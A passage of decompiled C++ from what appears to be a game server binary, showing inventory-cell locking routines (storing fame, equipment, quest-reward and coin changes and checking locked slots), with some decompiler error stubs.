v5; // eax@1 int v6; // eax@2 __int16 v7; // dx@6 __int16 v8; // cx@6 void *v9; // [sp+14h] [bp+0h]@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreFame"); HIWORD(v5) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreFame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v5) = v4->icll_List.l_Finger.empty; if ( (_WORD)v5 == -1 ) v6 = 0; else v6 = ((int (__cdecl *)(int))v4->icll_List.vfptr->l_AllocZ)(v5); if ( v6 ) { *(_WORD *)v6 = (_WORD)v9; v7 = *(_WORD *)(v6 + 10); v8 = *(_WORD *)(v6 + 8); *(_DWORD *)(v6 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_FameChange; *(_WORD *)(v6 + 10) = v7 & 0x3FF | 0x4400; *(_WORD *)(v6 + 8) = v8 & 0x3FF | 0x4400; *(_DWORD *)(v6 + 16) = Index; *(_WORD *)(v6 + 20) = fame; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_StoreFame : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreFame"); } //----- (00478020) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_EquipLocation(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int equslot, ItemInventoryCell *equcell, int otherhand, ItemInventoryCell *otherhandcell) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 __int16 v9; // dx@6 __int16 v10; // cx@6 void *v11; // [sp+14h] [bp+0h]@6 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_EquipLocation"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_EquipLocation"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__cdecl *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = (_WORD)v11; v9 = *(_WORD *)(v8 + 10); v10 = *(_WORD *)(v8 + 8); *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_EquipLocation; *(_WORD *)(v8 + 10) = v9 & 0x3FF | 0x4400; *(_WORD *)(v8 + 8) = v10 & 0x3FF | 0x4400; *(_DWORD *)(v8 + 16) = Index; *(_DWORD *)(v8 + 20) = equslot; *(_DWORD *)(v8 + 24) = equcell; *(_DWORD *)(v8 + 28) = otherhand; } else { AssertClass::ac_AssertFail( &shineassert, "InventoryLocking::InventoryCellLockList::icl_EquipLocation : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_EquipLocation"); } //----- (00478140) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_UnEquipInfo(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int Unequslot, ItemInventoryCell *Unequcell) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // eax@1 int v6; // eax@2 __int16 v7; // dx@6 __int16 v8; // cx@6 void *v9; // [sp+14h] [bp+0h]@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_EquipLocation"); HIWORD(v5) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_EquipLocation"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v5) = v4->icll_List.l_Finger.empty; if ( (_WORD)v5 == -1 ) v6 = 0; else v6 = ((int (__cdecl *)(int))v4->icll_List.vfptr->l_AllocZ)(v5); if ( v6 ) { *(_WORD *)v6 = (_WORD)v9; v7 = *(_WORD *)(v6 + 10); v8 = *(_WORD *)(v6 + 8); *(_DWORD *)(v6 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_UnEquipInfo; *(_WORD *)(v6 + 10) = v7 & 0x3FF | 0x4400; *(_WORD *)(v6 + 8) = v8 & 0x3FF | 0x4400; *(_DWORD *)(v6 + 16) = Index; *(_DWORD *)(v6 + 20) = Unequslot; } else { AssertClass::ac_AssertFail( &shineassert, "InventoryLocking::InventoryCellLockList::icl_EquipLocation : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_EquipLocation"); } //----- (00478250) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_UseItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemTotalInformation *iti, ITEM_INVEN *inv, UseEffect::UseItemBase *useitemclass) { InventoryLocking::InventoryCellLockList *v5; // esi@1 int v6; // eax@1 int v7; // eax@2 unsigned __int16 v8; // cx@6 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_UseItem"); HIWORD(v6) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_UseItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v6) = v5->icll_List.l_Finger.empty; if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = ((int (__stdcall *)(int))v5->icll_List.vfptr->l_AllocZ)(v6); if ( v7 ) { *(_WORD *)v7 = Index; *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_ItemUse; v8 = inv->Inven; *(_WORD *)(v7 + 10) = inv->Inven; *(_WORD *)(v7 + 8) = v8; memcpy((void *)(v7 + 16), iti, 0x6Fu); *(_DWORD *)(v7 + 128) = useitemclass; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_UseItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_UseItem"); } //----- (00478350) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StorePointStone(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int flag, int num) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // eax@1 int v6; // eax@2 __int16 v7; // dx@6 __int16 v8; // cx@6 void *v9; // [sp+14h] [bp+0h]@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StorePointStone"); HIWORD(v5) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StorePointStone"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v5) = v4->icll_List.l_Finger.empty; if ( (_WORD)v5 == -1 ) v6 = 0; else v6 = ((int (__cdecl *)(int))v4->icll_List.vfptr->l_AllocZ)(v5); if ( v6 ) { *(_WORD *)v6 = (_WORD)v9; v7 = *(_WORD *)(v6 + 10); v8 = *(_WORD *)(v6 + 8); *(_DWORD *)(v6 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_PointStone; *(_WORD *)(v6 + 10) = v7 & 0x3FF | 0x4400; *(_WORD *)(v6 + 8) = v8 & 0x3FF | 0x4400; *(_DWORD *)(v6 + 16) = Index; *(_DWORD *)(v6 + 20) = flag; } else { AssertClass::ac_AssertFail( &shineassert, "InventoryLocking::InventoryCellLockList::icl_StorePointStone : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StorePointStone"); } //----- (00478460) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_QuestReward(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int exp, int fame, char ct_type, char ct_elementno) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 __int16 v9; // dx@6 __int16 v10; // cx@6 void *v11; // [sp+14h] [bp+0h]@6 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_QuestReward"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_QuestReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__cdecl *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = (_WORD)v11; v9 = *(_WORD *)(v8 + 10); v10 = *(_WORD *)(v8 + 8); *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_QuestReward; *(_WORD *)(v8 + 10) = v9 & 0x3FF | 0x4400; *(_WORD *)(v8 + 8) = v10 & 0x3FF | 0x4400; *(_DWORD *)(v8 + 16) = Index; *(_DWORD *)(v8 + 20) = exp; *(_BYTE *)(v8 + 24) = fame; *(_BYTE *)(v8 + 25) = ct_type; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_QuestReward : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_QuestReward"); } //----- (00478580) -------------------------------------------------------- InventoryLocking::ReservedQuantity *__thiscall InventoryLocking::InventoryCellLock::icl_ReservedQuantity(InventoryLocking::InventoryCellLock *this, InventoryLocking::ReservedQuantity *reserv) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLock::icl_ReservedQuantity"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLock::icl_ReservedQuantity"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; reserv->spstone = 0; reserv->hpstone = 0; reserv->fame = 0; reserv->cen = 0; reserv->guild_token = 0; reserv->gbcoin = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLock::icl_ReservedQuantity"); return reserv; } //----- (004785F0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_LinktoItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, NPCManager::LinkInformTemplete *pLinkInfo) { InventoryLocking::InventoryCellLockList *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_LinktoItem"); HIWORD(v4) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_LinktoItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v4) = v3->icll_List.l_Finger.empty; if ( (_WORD)v4 == -1 ) v5 = 0; else v5 = ((int (__stdcall *)(int))v3->icll_List.vfptr->l_AllocZ)(v4); if ( v5 ) { *(_WORD *)v5 = Index; *(_DWORD *)(v5 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_LinkInfo; memcpy((void *)(v5 + 16), pLinkInfo, 0x65u); } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_LinktoItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_LinktoItem"); } //----- (004786E0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_ItemInfoZoneRng(InventoryLocking::InventoryCellLockList *this, unsigned __int16 index, SHINE_INVEN_SLOT_INFO from, SHINE_INVEN_SLOT_INFO to, ItemTotalInformation changeiteminfo) { InventoryLocking::InventoryCellLockList *v5; // ebx@1 int v6; // eax@1 int v7; // eax@4 char *v8; // [sp-4h] [bp-98h]@8 FunctionEntarance _; // [sp+10h] [bp-84h]@1 char v10; // [sp+14h] [bp-80h]@1 __int16 v11; // [sp+80h] [bp-14h]@1 char v12; // [sp+82h] [bp-12h]@1 unsigned int v13; // [sp+84h] [bp-10h]@1 int v14; // [sp+90h] [bp-4h]@1 v5 = this; memcpy(&v10, &changeiteminfo, 0x6Cu); v11 = *(_WORD *)((char *)&changeiteminfo.iti_itemstruct.itemattr.binditem.portal[9].y + 1); v12 = BYTE3(changeiteminfo.iti_itemstruct.itemattr.binditem.portal[9].y); v13 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "InventoryLocking::InventoryCellLockList::icl_LinktoItem"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_LinktoItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_LinktoItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; HIWORD(v6) = 0; v14 = 0; if ( !(from.inven.Inven & 0xFC00) || !(to.inven.Inven & 0xFC00) ) { LOWORD(v6) = v5->icll_List.l_Finger.empty; if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = ((int (__stdcall *)(int))v5->icll_List.vfptr->l_AllocZ)(v6); if ( v7 ) { *(_WORD *)v7 = index; *(_QWORD *)(v7 + 16) = *(_QWORD *)&from; *(_QWORD *)(v7 + 24) = *(_QWORD *)&from.ItemID; *(_QWORD *)(v7 + 32) = *(_QWORD *)&to; *(_QWORD *)(v7 + 40) = *(_QWORD *)&to.ItemID; memcpy((void *)(v7 + 48), &v10, 0x6Cu); *(_WORD *)(v7 + 156) = v11; *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageInfoZoneRng; *(_BYTE *)(v7 + 158) = v12; v8 = "InventoryLocking::InventoryCellLockList::icl_LinktoItem"; goto LABEL_10; } AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_LinktoItem : List Full", 0); } v8 = "InventoryLocking::InventoryCellLockList::icl_LinktoItem"; LABEL_10: --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v8); __security_check_cookie((unsigned int)&_ ^ v13); } //----- (00478870) -------------------------------------------------------- #error "478870: undefined or illegal type '#593' (funcsize=89)" //----- (004789A0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CoinChange::icr_Reserv(InventoryLocking::InvenCellReleaser_CoinChange *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_CoinChange::icr_Reserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser_CoinChange::icr_Reserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; reserv->cen += LODWORD(lc->lc_Argument.cenchange.cen) * lc->lc_Argument.cenchange.plusminus; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_CoinChange::icr_Reserv"); } //----- (00478A00) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreGBCoin(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, unsigned __int64 coin, int sign, char Exchange) { InventoryLocking::InventoryCellLockList *v5; // esi@1 int v6; // eax@1 int v7; // eax@2 __int16 v8; // dx@6 __int16 v9; // cx@6 void *v10; // [sp+14h] [bp+0h]@6 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreGBCoin"); HIWORD(v6) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreGBCoin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v6) = v5->icll_List.l_Finger.empty; if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = ((int (__cdecl *)(int))v5->icll_List.vfptr->l_AllocZ)(v6); if ( v7 ) { *(_WORD *)v7 = (_WORD)v10; v8 = *(_WORD *)(v7 + 10); v9 = *(_WORD *)(v7 + 8); *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_CoinChange; *(_WORD *)(v7 + 10) = v8 & 0x3FF | 0x4400; *(_WORD *)(v7 + 8) = v9 & 0x3FF | 0x4400; *(_DWORD *)(v7 + 16) = Index; *(_DWORD *)(v7 + 20) = coin; *(_WORD *)(v7 + 24) = WORD2(coin); *(_BYTE *)(v7 + 26) = sign; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_StoreMoney : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreGBCoin"); } //----- (00478B20) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, InventoryLocking::LockedCell *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0xA0u); return 1; } // 478B35: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00478B50) -------------------------------------------------------- char __thiscall ListSearchSame::lid_Call(ListSearchSame *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle) { ListSearchSame *v3; // esi@1 char result; // al@2 v3 = this; if ( this->lss_compfunc(ele, this->lss_lst, handle, this->lss_key) ) { result = 1; } else { v3->lss_found.hnd = handle; v3->lss_found.element = ele; result = 0; } return result; } //----- (00478B90) -------------------------------------------------------- void __thiscall ItemLotAnalyser::LotAnalyser::la_Store(ItemLotAnalyser::LotAnalyser *this, ITEM_INVEN *inven, ItemInventoryCell *cell, int delta) { ItemLotAnalyser::LotAnalyser *v4; // esi@1 unsigned __int16 v5; // cx@1 int v6; // ebx@3 int v7; // eax@4 int v8; // eax@7 ItemLotAnalyser::LotChanger key; // [sp+Ch] [bp-2Ch]@3 int (__stdcall **lss)(int, __int16); // [sp+14h] [bp-24h]@4 ItemLotAnalyser::LotAnalyser *v11; // [sp+18h] [bp-20h]@4 int (__thiscall *v12)(ItemLotAnalyser::LotChanger *, List *, unsigned __int16, ItemLotAnalyser::LotChanger *); // [sp+1Ch] [bp-1Ch]@4 ItemLotAnalyser::LotChanger *v13; // [sp+20h] [bp-18h]@4 int v14; // [sp+24h] [bp-14h]@4 __int16 v15; // [sp+28h] [bp-10h]@4 int v16; // [sp+34h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemLotAnalyser::ItemLotAnalyser::ila_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemLotAnalyser::ItemLotAnalyser::ila_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = inven->Inven; v16 = 0; if ( (v5 & 0xFC00) == 9216 ) { v6 = delta * ((int (__stdcall *)(SHINE_ITEM_STRUCT *))cell->iic_AttrProc->vfptr->iac_GetLot)(&cell->iic_Item.iti_itemstruct); key.item = cell->iic_Item.iti_itemstruct.itemid; if ( key.item != -1 ) { lss = &ListSearchSame::_vftable_; v11 = v4; v12 = HuntLog::MobHuntElement::mhe_Compare; v13 = &key; v14 = 0; v15 = -1; LOBYTE(v16) = 1; List::l_4AllInList((List *)v4, (ListIteratorDefault *)&lss); HIWORD(v7) = HIWORD(v14); if ( v14 ) { *(_DWORD *)(v14 + 4) += v6; } else { LOWORD(v7) = v4->baseclass_0.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = (int)v4->baseclass_0.vfptr->l_AllocA((List *)v4, v7); if ( v8 ) *(_DWORD *)(v8 + 4) = v6; else AssertClass::ac_AssertFail(&shineassert, "ItemLotAnalyser::ItemLotAnalyser::ila_Store : List leck", 0); } lss = &ListIteratorDefault::_vftable_; } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemLotAnalyser::ItemLotAnalyser::ila_Store"); } else { --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemLotAnalyser::ItemLotAnalyser::ila_Store"); } } // 64197C: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00478D10) -------------------------------------------------------- #error "478D10: undefined or illegal type '#593' (funcsize=65)" //----- (00478E10) -------------------------------------------------------- #error "478E10: undefined or illegal type '#593' (funcsize=55)" //----- (00478EF0) -------------------------------------------------------- #error "478EF0: undefined or illegal type '#593' (funcsize=355)" //----- (004793D0) -------------------------------------------------------- #error "4793D0: undefined or illegal type '#593' (funcsize=69)" //----- (004794E0) -------------------------------------------------------- #error "4794E0: undefined or illegal type '#593' (funcsize=84)" //----- (004795F0) -------------------------------------------------------- #error "4795F0: undefined or illegal type '#593' (funcsize=188)" //----- (00479860) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLockedOnlyCell(InventoryLocking::InventoryCellLockList *this, int type, int slot) { InventoryLocking::InventoryCellLockList *v3; // esi@1 int v4; // eax@1 ListStruct *v5; // ecx@1 unsigned __int16 v6; // si@1 int v7; // ebp@1 unsigned __int16 v8; // bx@1 int v9; // eax@3 unsigned __int16 v10; // di@3 bool v11; // cf@3 InventoryLocking::LockedCell *v12; // edx@5 InventoryLocking::LockedCell *v13; // edx@10 InventoryLocking::LockedCell *v14; // edx@16 int v15; // eax@20 char v16; // dl@20 int v17; // eax@20 int v18; // eax@21 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLockedOnlyCell"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_IsLockedOnlyCell"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->icll_List.l_Finger.store; v5 = v3->icll_List.l_Array; v6 = v3->icll_List.l_MaxSize; v7 = type; v8 = v5[v4].ls_Next; while ( v8 < v6 ) { v9 = v8; v10 = v8; v11 = v8 < v6; v8 = v5[v8].ls_Next; if ( v11 && v5[v9].ls_IsActiv ) v12 = v5[v9].ls_Content; else v12 = 0; if ( (unsigned int)v12->lc_InvenLocCurrent.Inven >> 10 == v7 ) { if ( v10 < v6 && v5[v9].ls_IsActiv ) v13 = v5[v9].ls_Content; else v13 = 0; if ( (v13->lc_InvenLocCurrent.Inven & 0x3FF) == slot ) { LABEL_24: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLockedOnlyCell"); return 1; } v7 = type; } if ( v10 < v6 && v5[v9].ls_IsActiv ) v14 = v5[v9].ls_Content; else v14 = 0; if ( (unsigned int)v14->lc_InvenLocExchange.Inven >> 10 == v7 ) { if ( v10 < v6 && (v15 = 3 * v9, v16 = v5[4 * v15 / 0xCu].ls_IsActiv, v17 = (int)&v5[4 * v15 / 0xCu], v16) ) v18 = *(_DWORD *)v17; else v18 = 0; if ( (*(_WORD *)(v18 + 10) & 0x3FF) == slot ) goto LABEL_24; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLockedOnlyCell"); return 0; } //----- (00479A00) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, int type, int slot) { InventoryLocking::InventoryCellLockList *v3; // esi@1 int v4; // edx@1 char result; // al@2 int v6; // eax@3 ListStruct *v7; // edx@3 unsigned __int16 v8; // si@3 int v9; // ebp@3 unsigned __int16 v10; // bx@3 int v11; // eax@5 unsigned __int16 v12; // di@5 bool v13; // cf@5 InventoryLocking::LockedCell *v14; // ecx@7 InventoryLocking::LockedCell *v15; // ecx@12 InventoryLocking::LockedCell *v16; // ecx@18 int v17; // eax@22 char v18; // cl@22 int v19; // eax@22 int v20; // eax@23 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_IsLocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v4 = funcallanalizer.fca_stackpoint++ + 1; if ( v3->icll_AllLock ) { funcallanalizer.fca_stackpoint = v4 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); result = 1; } else { v6 = v3->icll_List.l_Finger.store; v7 = v3->icll_List.l_Array; v8 = v3->icll_List.l_MaxSize; v9 = type; v10 = v7[v6].ls_Next; while ( v10 < v8 ) { v11 = v10; v12 = v10; v13 = v10 < v8; v10 = v7[v10].ls_Next; if ( v13 && v7[v11].ls_IsActiv ) v14 = v7[v11].ls_Content; else v14 = 0; if ( (unsigned int)v14->lc_InvenLocCurrent.Inven >> 10 == v9 ) { if ( v12 < v8 && v7[v11].ls_IsActiv ) v15 = v7[v11].ls_Content; else v15 = 0; if ( (v15->lc_InvenLocCurrent.Inven & 0x3FF) == slot ) { LABEL_26: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); return 1; } v9 = type; } if ( v12 < v8 && v7[v11].ls_IsActiv ) v16 = v7[v11].ls_Content; else v16 = 0; if ( (unsigned int)v16->lc_InvenLocExchange.Inven >> 10 == v9 ) { if ( v12 < v8 && (v17 = 3 * v11, v18 = v7[4 * v17 / 0xCu].ls_IsActiv, v19 = (int)&v7[4 * v17 / 0xCu], v18) ) v20 = *(_DWORD *)v19; else v20 = 0; if ( (*(_WORD *)(v20 + 10) & 0x3FF) == slot ) goto LABEL_26; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); result = 0; } return result; } //----- (00479BE0) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, int type, int slot, unsigned __int16 ignore) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // edx@1 char result; // al@2 int v7; // eax@3 ListStruct *v8; // edx@3 unsigned __int16 v9; // si@3 unsigned __int16 v10; // bx@3 int v11; // eax@5 unsigned __int16 v12; // di@5 bool v13; // cf@5 InventoryLocking::LockedCell *v14; // ecx@7 InventoryLocking::LockedCell *v15; // ecx@12 InventoryLocking::LockedCell *v16; // ecx@17 InventoryLocking::LockedCell *v17; // ecx@22 int v18; // eax@26 char v19; // cl@26 int v20; // eax@26 int v21; // eax@27 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_IsLocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v5 = funcallanalizer.fca_stackpoint++ + 1; if ( v4->icll_AllLock ) { funcallanalizer.fca_stackpoint = v5 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); result = 1; } else { v7 = v4->icll_List.l_Finger.store; v8 = v4->icll_List.l_Array; v9 = v4->icll_List.l_MaxSize; v10 = v8[v7].ls_Next; while ( v10 < v9 ) { v11 = v10; v12 = v10; v13 = v10 < v9; v10 = v8[v10].ls_Next; if ( v13 && v8[v11].ls_IsActiv ) v14 = v8[v11].ls_Content; else v14 = 0; if 